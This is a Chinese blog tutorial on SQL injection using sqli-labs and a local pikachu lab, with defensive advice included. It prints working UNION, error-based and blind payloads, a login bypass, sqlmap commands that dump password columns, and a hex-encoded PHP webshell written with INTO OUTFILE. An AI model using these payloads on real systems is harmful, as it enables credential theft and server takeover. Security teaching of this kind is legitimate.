| |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
-> 大数据 -> SQL注入漏洞攻防--sql labs -> 正文阅读 |
|
[大数据]SQL注入漏洞攻防--sql labs |
SQL注入攻击原理SQL注入攻击是一种对Web应用程序进行攻击的方法,它利用了应用程序对输入数据的不当过滤和验证,通过插入恶意的SQL语句来破坏数据库的完整性。 SQL注入攻击的目的通常是为了获取数据库的敏感信息,或者执行恶意操作,如删除数据库中的表。为了防止SQL注入攻击,应用程序应该对用户输入的数据进行严格的过滤和验证,避免执行未经授权的SQL语句。 SQL注入攻击分类SQL 注入是 web 攻击手法最常见的攻击之一,按注入点、提交方式、和获取信息的方式不同分为以下几类: (1) 根据注入点的不同分类 数字类型的注入 字符串类型的注入 (2) 根据提交方式的不同分类 GET 注入 POST 注入 COOKIE 注入 HTTP 注入 (3) 根据获取信息的方式不同分类 基于布尔的盲注 基于时间的盲注 基于报错的注入 union手工注入union手工注入是指在知道数据库具体信息的情况下,利用union语句来进行攻击的一种方式。在union手工注入中,攻击者可以使用union语句来将两个不同的查询结果合并在一起,并且可以利用这种方式来提取数据库的信息。 例题:- 联合注入查询,使用union id=-1 ' union select 1,2,3 %23 //确定函数可用 id=-1 ' union select 1,2,group_concat(schema_name) from id=-1 ' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security' %23 //获取表名 id=-1 ' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'%23 //获取列名 id=-1 ' union select 1,username,password from users %23 // 获取用户名密码 id=1 //回显正常 id=1' //报错信息:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1 id=1' order by 4 # url编码 //用来猜解字段数 //这里如果报错不正常可以对#进行 //当测试3时没有报错,而测试4时报错:Unknown column '4' in 'order clause',说明字段数为3 information schema手工注入information_schema (提纲)数据库是 MySQL 系统自带的数据库。 其中保存着关于 MySQL服务器所维护的所有其他数据库的信息。通过 information_schema 注入,我们可以将整个数据库内容全部窃取出来 例题同上。基于函数报错手工注入基于函数报错手工注入是一种SQL注入攻击的方法,它利用数据库函数的报错信息来获取数据库的信息,进而注入恶意的SQL代码来攻击数据库。 这种方法通常在数据库系统不能直接显示查询结果时使用,例如当查询结果中包含布尔值或数字时。在这种情况下,攻击者可以构造一个带有函数的查询,如果查询结果为真,则函数会返回一个报错信息,如果查询结果为假,则函数不会返回任何信息。通过观察函数返回的报错信息,攻击者就可以判断出查询的结果,并根据结果构造恶意的SQL代码进行注入攻击。 updataxml注入 载荷注入 insert注入 updata注入 delet注入 extractvalue()注入 例题:less-4(基于错误的GET双引号字符型注入)?id=1 ?id=1' ?id=1" //有回显 //没有反应 //页面报错,从报错信息中可以看出它的传参结构 根据报错信息判断出输入的内容被放到一组双引号和小括号中,所以在less-1的基础上修改单引号为双 引号+右括号即可 id=1") order by 4 # id=-1") union select 1,2,group_concat(schema_name) from id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security' %23 //获取表名 id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'%23 //获取列名 id=-1") union select 1,username,password from users %23 // 获取用户名密码 HTTP HEAD注入Header注入是另一种SQL注入攻击方式,它通过插入恶意代码到HTTP头部来攻击Web应用程序。这种方法通常是通过插入恶意的Cookie来实现的,但也可以通过其他HTTP头部字段来实现。攻击者可以通过这种方法来提取敏感信息或者执行恶意操作。 (1)127.0.0.1和localhost使用burp抓不到数据包,这时使用ipconfig获得内网ip即可抓到数据包。 (2)使用burp抓取数据包即可获得并修改头信息。 (3)请求头X-FORWORDED-FOR是真实网站获取你的ip的途径。(A->缓存服务器(代理)->真实的网站)。 (4)安全问题建议:XFF请求头挂127.0.0.1。 7.手工盲注什么是盲注? 盲注就是利用一些方法进行判断或者尝试这个过程就是盲注 盲注可以分为3类: 1.基于布尔的SQL盲注(这里就是True/False) 2.基于报错的SQL盲注 3.基于时间的SQL盲注 1.构造逻辑判断的SQL语句(基于布尔的SQL盲注) 在这里主要学的: left() substr() ascii() mid() ord()等同ascii() regexp正则表达式 like注入 例题:与less-9完全相同,将单引号改为双引号即可 8.宽字节注入宽字节是相对于ascII这样单字节而言的;像 GB2312、GBK、GB18030、BIG5、Shift_JIS 等这些都是常说的宽字节,实际上只有两字节 GBK 是一种多字符的编码,通常来说,一个 gbk 编码汉字,占用2个字节。一个 utf-8 编码的汉字,占用3个字节 转义函数:为了过滤用户输入的一些数据,对特殊的字符加上反斜杠“\”进行转义;Mysql中转义的函数addslashes,mysql_real_escape_string,mysql_escape_string 等,还有一种是配置magic_quote_gpc,不过 PHP 高版本已经移除此功能。 9. Mysql+ PHP手工获取webshel过程1、使用单引号判断是否有注入点(报错说明存在注入点) 2、查询正在使用中的用户user、数据库(%27union%20select%20user(),database()+--+%20) 3、爆数据库所有表名('UNION SELECT 1,group_concat(table_name) from information_schema.tables where table_schema=0x64767761+--+&Submit=Submit#) 4、爆user表下所有字段名“0x7573657273转码后是users”('UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273+--+&Submit=Submit#) 5、查询列名user、password下的所有用户名和密码('UNION SELECT user,password from users+--+&Submit=Submit#) 6、加载C盘根目录下的root.ini文件('UNION SELECT 1,load_file('c:\\root.ini')+--+&Submit=Submit#) 7、一句话木马,在C盘根目录生成muma.php的木马文件(' union select 0x3C3F70687020406576616C28245F504F53545B2763686F70706572275D293B3F3E,2 into outfile 'c:/muma.php'+--+&Submit=Submit#) 10. Access手工注入Access手工注入是一种网络安全攻击方法,用于在不被授权的情况下获取数据库中的信息。此方法通常用于攻击使用Microsoft Access数据库的Web应用程序。 这种攻击通过提交恶意数据(即注入)到Web应用程序中,以便绕过应用程序的安全措施,并在数据库中执行未授权的操作。这种攻击的目的是为了访问数据库中的敏感信息,例如用户名和密码。 举个例子,假设有一个Web应用程序,其中使用了Microsoft Access数据库,并具有一个登录表单,其中需要输入用户名和密码。攻击者可能会尝试注入恶意数据,以便绕过应用程序的安全措施,并访问数据库中的敏感信息。 例如,攻击者可能会尝试使用恶意数据登录表单,如下所示: 用户名:' OR '1'='1 密码:' OR '1'='1 如果应用程序的安全措施不足,则这些恶意数据可能会被注入到数据库中,并执行未授权的操作。 防止Access手工注入攻击的一些措施包括: 使用参数化查询:这是最简单的方法,用于防止注入。参数化查询将查询中的参数作为单独的值传递,而不是将它们作为查询的一部分。这样,攻击者就无法在查询中注入恶意数据。 对输入数据进行过滤和验证:应该在应用程序中实施机制,以验证输入数据的有效性。这可以防止攻击者提交恶意数据,从而防止注入。 使用存储过程:使用存储过程可以防止攻击者注入恶意数据。存储过程是在数据库中预先定义的程序,可以在应用程序中调用。存储过程中的参数是已知的,因此攻击者无法将恶意数据注入到存储过程中。 加强数据库安全:应该采取措施来加强数据库的安全性,例如使用强密码、定期更改密码以及启用数据库审计功能。这些措施可以防止攻击者获得数据库访问权限,从而防止注入攻击。 这些措施都可以帮助防止Access手工注入攻击,从而保护应用程序 11.MSSQL注入MSSQL注入是指利用SQL注入漏洞来攻击Microsoft SQL Server数据库的一种攻击方式。这种攻击通过向数据库执行恶意的SQL语句来实现。 注入攻击是一种常见的Web应用程序安全漏洞,可以通过提交带有恶意代码的输入数据来对数据库执行任意操作。这些恶意代码可以使用特殊字符或语法来绕过应用程序的安全措施,并执行任意的SQL命令。 为了防止MSSQL注入攻击,需要采取以下措施: 使用参数化查询或预处理语句,以避免直接将用户输入的数据作为SQL语句的一部分。 对用户输入的数据进行有效的过滤和验证,以确保它们不包含恶意代码。 使用较强的数据库访问权限控制机制,限制数据库用户的操作权限。 定期执行安全测试,以发现并修复潜在的SQL注入漏洞。 注意:在确保网站安全的同时,也要注意不要对其他网站或系统进行攻击,这是违法的行为。 12.Sql注入漏洞修复为了修复SQL注入漏洞,可以采取以下措施: 使用参数化查询或预处理语句:这种方法可以将用户输入的数据当作参数来使用,而不是直接将它们作为SQL语句的一部分。这样可以有效地避免SQL注入攻击。 对用户输入的数据进行有效的过滤和验证:可以使用正则表达式或其他方法来验证用户输入的数据,确保它们不包含恶意代码。 使用较强的数据库访问权限控制机制:可以限制数据库用户的操作权限,以防止未经授权的访问。 定期执行安全测试:应定期对应用程序进行安全测试,以发现并修复潜在的SQL注入漏洞。 使用Web应用程序防火墙(WAF):WAF可以帮助检测和阻止攻击者尝试利用SQL注入漏洞进行攻击。 注意:为了最大程度地保护网站,应该结合使用这些方法,并定期进行安全更新。 13.sqlmap注入使用SQLMap简介SQLMap 是一个自动化的SQL注入工具,其主要功能是扫描、发现并利用给定URL的SQL注入漏洞,内置了很多绕过插件,支持的数据库是MySQL 、Oracle 、PostgreSQL 、Microsoft SQL Server、Microsoft Access 、IBM DB2, SQ Lite 、Firebird 、Sybase和SAPMaxDB 。 注意:sqlmap只是用来检测和利用sql注入点,并不能扫描出网站有哪些漏洞,使用前请先使用扫描工具扫出sql注入点。 SQLMap采用了以下5种独特的SQL注入技术。 SQLMap 的强大的功能包括数据库指纹识别、数据库枚举、数据提取、访问目标文件系统,并在获取完全的操作权限时实行任意命令。SQLMap的功能强大到让人惊叹,当常规的注入工具不能利用SQL注入漏洞进行注入时,使用SQLMap会有意想不到的效果。 SQLMap安装SQLMap的安装方式可以自己上网查找,本教程是利用KaliLinux上自带的SQLMap工具进行相关学习与实验,无需自己配置python等基础环境,较简单易上手。 sqlmap的简单使用常用命令及参数查看sqlmap的命令字帮助手册 -u "url" #检测注入点 post注入 –cookie #指定cookie 操作前准备实验靶场——我这里的IP为192.168.0.75:本节实验靶场是在主系统上基于phpstudy搭建的一个pikachu靶场网站 注入工具——kali虚拟机,自带sqlmap工具 注意,win11和kali桥接到同一VMnet下。两者可以互相ping通。 pikachu靶场SQL,sqlmap解法GET型输入字符型注入(此处细说):随便输入点什么 URL http://192.168.0.75/pikachu/vul/sqli/sqli_str.php?name=11&submit=%E6%9F%A5%E8%AF%A2 1.寻找注入点sqlmap -u "URL" sqlmap -u " you have not declared cookie(s), while server wants to set its own ('PHPSESSID=adpc4c17gjf...h4glgenleg'). Do you want to use those [Y/n] y 如果出现如图这些信息,那么恭喜你该网站存在sql注入漏洞,就可以进行下一步操作,如果提示报错的话,可以看情况修改URL,或者该网站不存在sql 注入漏洞 找到输入点为name处 2.寻找当前数据库sqlmap -u"URL" --current-db sqlmap -u " 数据库为pikachu 3.寻找数据库为pikachu的所有表sqlmap -u "URL"?-D 数据库名 --tables sqlmap -u " 4.寻找表中的所有字段:sqlmap -u "URL" -D 数据库名 -T 表名 --columns sqlmap -u " 5.寻找字段里面的值:sqlmap -u "URL"?-D 数据库名 -T 表名-C 字段1,字段2 --dump sqlmap -u " recognized possible password hashes in column 'password' 这里就看到账号密码了,sql数据库默认是对密码MD5加密的,sqlmap有个功能可以把列出来的密码自动解密,如图,选项选对了,选了yes的话就会对密码解密 搜索型注入URL: http://192.168.0.75/pikachu/vul/sqli/sqli_search.php?name=1&submit=%E6%90%9C%E7%B4%A2 命令: sqlmap -u "http://192.168.0.75/pikachu/vul/sqli/sqli_search.php?name=1&submit=%E6%90%9C%E7%B4%A2" -D pikachu -T users -C password --dump xx型注入URL: http://192.168.0.75/pikachu/vul/sqli/sqli_x.php?name=1&submit=%E6%9F%A5%E8%AF%A2 命令: sqlmap -u "http://192.168.0.75/pikachu/vul/sqli/sqli_x.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users -C password --dump 盲注base on boolianURL: http://192.168.0.75/pikachu/vul/sqli/sqli_blind_b.php?name=1&submit=%E6%9F%A5%E8%AF%A2 命令: sqlmap -u "http://192.168.0.75/pikachu/vul/sqli/sqli_blind_b.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users -C password –dump 盲注base on timeURL http://192.168.56.1/pikachu2/vul/sqli/sqli_blind_t.php?name=121&submit=1 虽然耗时较长,但成功破译 # POST型注入insert/update注入insert注入URL http://192.168.0.75/pikachu/vul/sqli/sqli_iu/sqli_reg.php 在注册账号处抓包 使用sqlmap sqlmap -u "http://192.168.0.75/pikachu/vul/sqli/sqli_iu/sqli_reg.php" --data="username=1&password=1&sex=1&phonenum=1&email=1&add=1&submit=submit" -D pikachu -T users -C password --dump sqlmap -u "URL" --data="表单名和表单值(bp上直接复制粘贴)" -D 数据库名 -T 表名 -C 字段名 --dump 得到密码: update注入先登入进去一个注册的账号,然后点击修改个人信息 URL http://192.168.0.75/pikachu/vul/sqli/sqli_iu/sqli_edit.php 填写信息后用bp抓包,点击submit 输入命令: sqlmap -u "http://192.168.0.75/pikachu/vul/sqli/sqli_iu/sqli_edit.php" --data="sex=12&phonenum=12&add=12&email=12&submit=submit" -D pikachu -T users -C password --dump sqlmap -u "URL" --data="sex=12&phonenum=12&add=12&email=12&submit=submit(把表单复制粘贴过来)" -D 数据库名-T 用户名 -C 字段1 --dump 这里一个一个试,1可以 得到密码 |
|
|
上一篇文章 下一篇文章 查看所有文章 |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 | -2024/11/22 18:27:18- |
|
网站联系: qq:121756557 email:121756557@qq.com IT数码 |